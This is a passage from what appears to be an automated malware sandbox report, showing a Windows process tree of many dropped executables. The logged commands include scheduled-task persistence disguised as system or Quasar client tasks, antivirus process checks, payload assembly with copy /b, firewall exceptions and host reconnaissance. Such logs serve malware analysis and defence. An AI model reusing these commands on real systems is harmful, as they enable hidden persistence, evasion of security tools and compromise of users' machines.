                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\a\Registry.exe
                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\a\Registry.exe"
                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                        PID:8444
                                                                                                                                                                                                                                                                                                        • C:\Windows\SYSTEM32\schtasks.exe
                                                                                                                                                                                                                                                                                                          "schtasks" /create /tn "Runtime Broker" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Runtime Broker.exe" /rl HIGHEST /f
                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                          • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                                                                          PID:6280
                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\a\spectrum.exe
                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\a\spectrum.exe"
                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                          PID:7324
                                                                                                                                                                                                                                                                                                          • C:\Windows\SYSTEM32\schtasks.exe
                                                                                                                                                                                                                                                                                                            "schtasks" /create /tn "Java Updater" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\a\spectrum.exe" /rl HIGHEST /f
                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                            • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                                                                            PID:888
                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\a\SGVP%20Client%20System.exe
                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\a\SGVP%20Client%20System.exe"
                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                            PID:832
                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\a\CondoGenerator.exe
                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\a\CondoGenerator.exe"
                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                              PID:7752
                                                                                                                                                                                                                                                                                                              • C:\Windows\SYSTEM32\schtasks.exe
                                                                                                                                                                                                                                                                                                                "schtasks" /create /tn "Quasar Client Startup" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe" /rl HIGHEST /f
                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                                                                                PID:416
                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\a\lmao.exe
                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\a\lmao.exe"
                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                PID:8952
                                                                                                                                                                                                                                                                                                                • C:\Windows\SYSTEM32\schtasks.exe
                                                                                                                                                                                                                                                                                                                  "schtasks" /create /tn "ctfmon" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe" /rl HIGHEST /f
                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                                                                                  PID:9148
                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\a\MMO%201.exe
                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\a\MMO%201.exe"
                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                  PID:10144
                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\a\fud2.exe
                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\a\fud2.exe"
                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                    PID:9484
                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\taskmgr.exe
                                                                                                                                                                                                                                                                                                                  "C:\Windows\system32\taskmgr.exe" /0
                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                  • Checks SCSI registry key(s)
                                                                                                                                                                                                                                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                                  • Suspicious use of FindShellTrayWindow
                                                                                                                                                                                                                                                                                                                  • Suspicious use of SendNotifyMessage
                                                                                                                                                                                                                                                                                                                  PID:1572
                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\taskmgr.exe
                                                                                                                                                                                                                                                                                                                  "C:\Windows\system32\taskmgr.exe" /0
                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                    PID:5476
                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\a\putty.exe
                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\a\putty.exe"
                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                      PID:800
                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 800 -s 372
                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                        • Program crash
                                                                                                                                                                                                                                                                                                                        PID:4280
                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\a\1.exe
                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\a\1.exe"
                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                        PID:2580
                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\a\din.exe
                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\a\din.exe"
                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                          PID:4676
                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\a\svc2.exe
                                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\a\svc2.exe"
                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                            PID:5448
                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\a\svc2.exe
                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\a\svc2.exe"
                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                PID:2424
                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\a\svc2.exe
                                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\a\svc2.exe"
                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                  PID:972
                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 5448 -s 856
                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                  • Program crash
                                                                                                                                                                                                                                                                                                                                  PID:6096
                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\a\updater.exe
                                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\a\updater.exe"
                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                  PID:2752
                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\a\yoda.exe
                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\a\yoda.exe"
                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                    PID:5128
                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /c move Advanced Advanced.cmd & Advanced.cmd
                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                        PID:2324
                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\tasklist.exe
                                                                                                                                                                                                                                                                                                                                          tasklist
                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                          • Enumerates processes with tasklist
                                                                                                                                                                                                                                                                                                                                          PID:2156
                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\findstr.exe
                                                                                                                                                                                                                                                                                                                                          findstr /I "opssvc wrsa"
                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                            PID:5296
                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\tasklist.exe
                                                                                                                                                                                                                                                                                                                                            tasklist
                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                            • Enumerates processes with tasklist
                                                                                                                                                                                                                                                                                                                                            PID:1480
                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\findstr.exe
                                                                                                                                                                                                                                                                                                                                            findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                              PID:4492
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                              cmd /c md 328748
                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                PID:4700
                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\extrac32.exe
                                                                                                                                                                                                                                                                                                                                                extrac32 /Y /E Discovery
                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                  PID:5828
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                  cmd /c copy /b 328748\Plenty.com + Tablet + Pointed + Furniture + Rhythm + Children + Cliff + Madness + Amend + Interventions + Deadly + Notre + Wood 328748\Plenty.com
                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                    PID:4164
                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                    cmd /c copy /b ..\Biz + ..\Disaster + ..\Administration + ..\Stopped + ..\Broadcasting + ..\Kevin + ..\Pins u
                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                      PID:4804
                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\328748\Plenty.com
                                                                                                                                                                                                                                                                                                                                                      Plenty.com u
                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                        PID:5996
                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\choice.exe
                                                                                                                                                                                                                                                                                                                                                        choice /d y /t 5
                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                          PID:6012
                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\a\4422_8390.exe
                                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\a\4422_8390.exe"
                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                        PID:2108
                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
                                                                                                                                                                                                                                                                                                                                                          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"
                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                            PID:5964
                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\a\lem.exe
                                                                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\a\lem.exe"
                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                            PID:2200
                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\a\4181_461.exe
                                                                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\a\4181_461.exe"
                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                              PID:1404
                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
                                                                                                                                                                                                                                                                                                                                                                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"
                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                  PID:4212
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 1404 -s 400
                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                  • Program crash
                                                                                                                                                                                                                                                                                                                                                                  PID:4860
                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\a\EmmetPROD.exe
                                                                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\a\EmmetPROD.exe"
                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                  PID:2424
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c wmic computersystem get name, TotalPhysicalMemory /Value && wmic os get caption /Value && wmic path Win32_VideoController get CurrentHorizontalResolution,CurrentVerticalResolution /Value && ipconfig | find "IPv4" | find /N ":" | find "[1]"
                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                      PID:3488
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                                                                                                        wmic computersystem get name, TotalPhysicalMemory /Value
                                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                                          PID:5212
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                                                                                                          wmic os get caption /Value
                                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                                            PID:4240
                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                                                                                                            wmic path Win32_VideoController get CurrentHorizontalResolution,CurrentVerticalResolution /Value
                                                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                                                              PID:2672
                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\ipconfig.exe
                                                                                                                                                                                                                                                                                                                                                                              ipconfig
                                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                              • Gathers network information
                                                                                                                                                                                                                                                                                                                                                                              PID:3368
                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\find.exe
                                                                                                                                                                                                                                                                                                                                                                              find "IPv4"
                                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                                PID:468
                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\find.exe
                                                                                                                                                                                                                                                                                                                                                                                find /N ":"
                                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                                  PID:3836
                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\find.exe
                                                                                                                                                                                                                                                                                                                                                                                  find "[1]"
                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                    PID:2932
                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\msinfo32.exe
                                                                                                                                                                                                                                                                                                                                                                                "C:\Windows\system32\msinfo32.exe" "C:\Users\Admin\Desktop\ConfirmExport.nfo"
                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                  PID:3128
                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\System32\WScript.exe
                                                                                                                                                                                                                                                                                                                                                                                  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\BackupEnter.vbe"
                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                    PID:7764
                                                                                                                                                                                                                                                                                                                                                                                  • C:\Program Files\Internet Explorer\iexplore.exe
                                                                                                                                                                                                                                                                                                                                                                                    "C:\Program Files\Internet Explorer\iexplore.exe" -nohome
                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                      PID:6524
                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\a\systemetape.exe
                                                                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\a\systemetape.exe"
                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                        PID:8096
                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\a\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\a\svchost.exe"
                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                          PID:9200
                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\a\25.exe
                                                                                                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\a\25.exe"
                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                            PID:7748
                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 7748 -s 396
                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                              • Program crash
                                                                                                                                                                                                                                                                                                                                                                                              PID:2324
                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\a\2.exe
                                                                                                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\a\2.exe"
                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                              PID:7504
                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 7504 -s 392
                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                • Program crash
                                                                                                                                                                                                                                                                                                                                                                                                PID:6852
                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\a\16.exe
                                                                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\a\16.exe"
                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                PID:5640
                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 5640 -s 392
                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                  • Program crash
                                                                                                                                                                                                                                                                                                                                                                                                  PID:3176
                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\a\38.exe
                                                                                                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\a\38.exe"
                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                  PID:5224
                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 5224 -s 396
                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                    • Program crash
                                                                                                                                                                                                                                                                                                                                                                                                    PID:7932
                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\a\3.exe
                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\a\3.exe"
                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                    PID:4172
                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 4172 -s 392
                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                      • Program crash
                                                                                                                                                                                                                                                                                                                                                                                                      PID:8948
                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\a\4.exe
                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\a\4.exe"
                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                      PID:6992
                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 6992 -s 392
                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                        • Program crash
                                                                                                                                                                                                                                                                                                                                                                                                        PID:6204
                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\a\fusca%20game.exe
                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\a\fusca%20game.exe"
                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                        PID:8540
                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                                                                                                                                                                                                                                                                          netsh firewall add allowedprogram "C:\Users\Admin\AppData\Local\Temp\a\fusca%20game.exe" "fusca%20game.exe" ENABLE
                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                          • Modifies Windows Firewall
                                                                                                                                                                                                                                                                                                                                                                                                          PID:5264
                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\a\testme.exe
                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\a\testme.exe"
                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                          PID:6044
                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\a\systemetape.exe
                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\a\systemetape.exe"
                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                            PID:4900
                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\23e3360290\Gxtuum.exe
                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\23e3360290\Gxtuum.exe"
                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                PID:4928
                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\a\systemetape.exe
                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\a\systemetape.exe"
                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                PID:2432
                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\a\sela.exe
                                                                                                                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\a\sela.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:6592
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\a\systemsound.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\a\systemsound.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                    PID:6788
                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\a\system.exe
                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\a\system.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                      PID:6700
                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\23e3360290\Gxtuum.exe
                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\23e3360290\Gxtuum.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                        PID:7332
                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\23e3360290\Gxtuum.exe
                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\23e3360290\Gxtuum.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                          PID:7708
                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 2428 -ip 2428
                                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5876
                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\rundll32.exe
                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                                                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1400
                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 200 -p 1780 -ip 1780
                                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5908
                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 1780 -ip 1780
                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                PID:3532
                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 4208 -ip 4208
                                                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5760
                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 4420 -ip 4420
                                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5304
                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 2976 -ip 2976
                                                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:3764
                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 2028 -ip 2028
                                                                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:3460
                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 800 -ip 800
                                                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:6104
                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
